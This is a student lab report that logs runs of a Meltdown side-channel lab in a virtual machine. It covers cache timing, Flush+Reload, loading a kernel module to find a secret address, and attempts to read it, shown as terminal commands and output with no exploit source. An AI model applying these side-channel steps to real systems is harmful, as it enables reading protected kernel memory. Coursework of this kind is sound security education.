Lab 5
CSP 544
Karsen Diepholz

Running CacheTime we can see how long each array takes in terms of CPU cycles. Each time it is different, and we can see array[3*4096] and array[7*4096] switch off being faster than the other. They are different each time it is run.

```
[02/11/20]seed@VM:~$ ./a.out
Access time for array[0*4096]: 1076 CPU cycles
Access time for array[1*4096]: 236 CPU cycles
Access time for array[2*4096]: 252 CPU cycles
Access time for array[3*4096]: 78 CPU cycles
Access time for array[4*4096]: 214 CPU cycles
Access time for array[5*4096]: 202 CPU cycles
Access time for array[6*4096]: 200 CPU cycles
Access time for array[7*4096]: 46 CPU cycles
Access time for array[8*4096]: 370 CPU cycles
Access time for array[9*4096]: 232 CPU cycles
[02/11/20]seed@VM:~$ ./a.out
Access time for array[0*4096]: 1468 CPU cycles
Access time for array[1*4096]: 298 CPU cycles
Access time for array[2*4096]: 268 CPU cycles
Access time for array[3*4096]: 88 CPU cycles
Access time for array[4*4096]: 258 CPU cycles
Access time for array[5*4096]: 286 CPU cycles
Access time for array[6*4096]: 340 CPU cycles
Access time for array[7*4096]: 146 CPU cycles
Access time for array[8*4096]: 302 CPU cycles
Access time for array[9*4096]: 334 CPU cycles
[02/11/20]seed@VM:~$ ./a.out
Access time for array[0*4096]: 1266 CPU cycles
Access time for array[1*4096]: 206 CPU cycles
Access time for array[2*4096]: 270 CPU cycles
Access time for array[3*4096]: 68 CPU cycles
Access time for array[4*4096]: 230 CPU cycles
Access time for array[5*4096]: 228 CPU cycles
Access time for array[6*4096]: 236 CPU cycles
Access time for array[7*4096]: 50 CPU cycles
Access time for array[8*4096]: 228 CPU cycles
Access time for array[9*4096]: 226 CPU cycles
[02/11/20]seed@VM:~$ ./a.out
```

```
Access time for array[0*4096]: 286 CPU cycles
Access time for array[1*4096]: 262 CPU cycles
Access time for array[2*4096]: 276 CPU cycles
Access time for array[3*4096]: 40 CPU cycles
Access time for array[4*4096]: 280 CPU cycles
Access time for array[5*4096]: 530 CPU cycles
Access time for array[6*4096]: 254 CPU cycles
Access time for array[7*4096]: 46 CPU cycles
Access time for array[8*4096]: 288 CPU cycles
Access time for array[9*4096]: 272 CPU cycles
```

Following cachetime, we can run FlushReload a number of times in order to clear out the cache and get the secret array and secret number, which was 94.

```
seed@VM:~/.../Meltdown_Attack$ ./FlushReload
seed@VM:~/.../Meltdown_Attack$ ./FlushReload
seed@VM:~/.../Meltdown_Attack$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
```

We run the make file in order to make MeltdownKernel possible to run. It also builds modules that are necessary.

```
seed@VM:~/.../Meltdown_Attack$ make
make -C /lib/modules/4.8.0-36-generic/build M=/home/seed/Desktop/Meltdown_Attack modules
make[1]: Entering directory '/usr/src/linux-headers-4.8.0-36-generic'
  CC [M]  /home/seed/Desktop/Meltdown_Attack/MeltdownKernel.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /home/seed/Desktop/Meltdown_Attack/MeltdownKernel.mod.o
  LD [M]  /home/seed/Desktop/Meltdown_Attack/MeltdownKernel.ko
make[1]: Leaving directory '/usr/src/linux-headers-4.8.0-36-generic'
```

Running MeltdownKernel and looking for the specific secret data address will give us the secret data address to meltdown.

```
seed@VM:~/.../Meltdown_Attack$ sudo insmod MeltdownKernel.ko
seed@VM:~/.../Meltdown_Attack$ dmesg | grep 'secret data address'
[ 4592.588219] secret data address:f9410000
```

MeltdownExpierment_1 contains the modified program

```
seed@VM:~/.../Meltdown_Attack$ ./MeltdownExperiment_1
Memory access violation!
```

```
array[7*4096 + 1024] is in cache.
The Secret = 7.
seed@VM:~/.../Meltdown_Attack$ ./MeltdownExperiment
Memory access violation!
seed@VM:~/.../Meltdown_Attack$ ./MeltdownExperiment
Memory access violation!
seed@VM:~/.../Meltdown_Attack$ ./MeltdownExperiment
Memory access violation!
seed@VM:~/.../Meltdown_Attack$ ./MeltdownExperiment
Memory access violation!
seed@VM:~/.../Meltdown_Attack$ ./MeltdownExperiment
Memory access violation!
seed@VM:~/.../Meltdown_Attack$ ./MeltdownExperiment_1
Memory access violation!
seed@VM:~/.../Meltdown_Attack$ ./MeltdownExperiment
Memory access violation!
array[7*4096 + 1024] is in cache.
The Secret = 7.
```

Running this we can see sometimes the experiment will work, and sometimes it will throw a memory access violation, both on MeltdownExperiment and MeltdownExperiment_1, which contained the modified code.

```
[02/11/20]seed@VM:~/.../Meltdown_Attack$ ./ExceptionHandling
Memory access violation!
Program continues to execute.
[02/11/20]seed@VM:~/.../Meltdown_Attack$ ./ExceptionHandling
Memory access violation!
Program continues to execute.
```

After running exception handling, we can run meltdown attack and get the secret value, which is always 0 and the number of hits.

```
[02/11/20]seed@VM:~/.../Meltdown_Attack$ ./MeltdownAttack
The secret value is 0
The number of hits is 0
[02/11/20]seed@VM:~/.../Meltdown_Attack$ ./MeltdownAttack
The secret value is 0
The number of hits is 1
[02/11/20]seed@VM:~/.../Meltdown_Attack$ ./MeltdownAttack
The secret value is 0
The number of hits is 3
[02/11/20]seed@VM:~/.../Meltdown_Attack$ ./MeltdownAttack
```

```
The secret value is 0
The number of hits is 2
[02/11/20]seed@VM:~/.../Meltdown_Attack$ ./MeltdownAttack
The secret value is 0
The number of hits is 6
[02/11/20]seed@VM:~/.../Meltdown_Attack$ ./MeltdownAttack
The secret value is 0
The number of hits is 0
[02/11/20]seed@VM:~/.../Meltdown_Attack$ ./MeltdownAttack
The secret value is 0
The number of hits is 2
```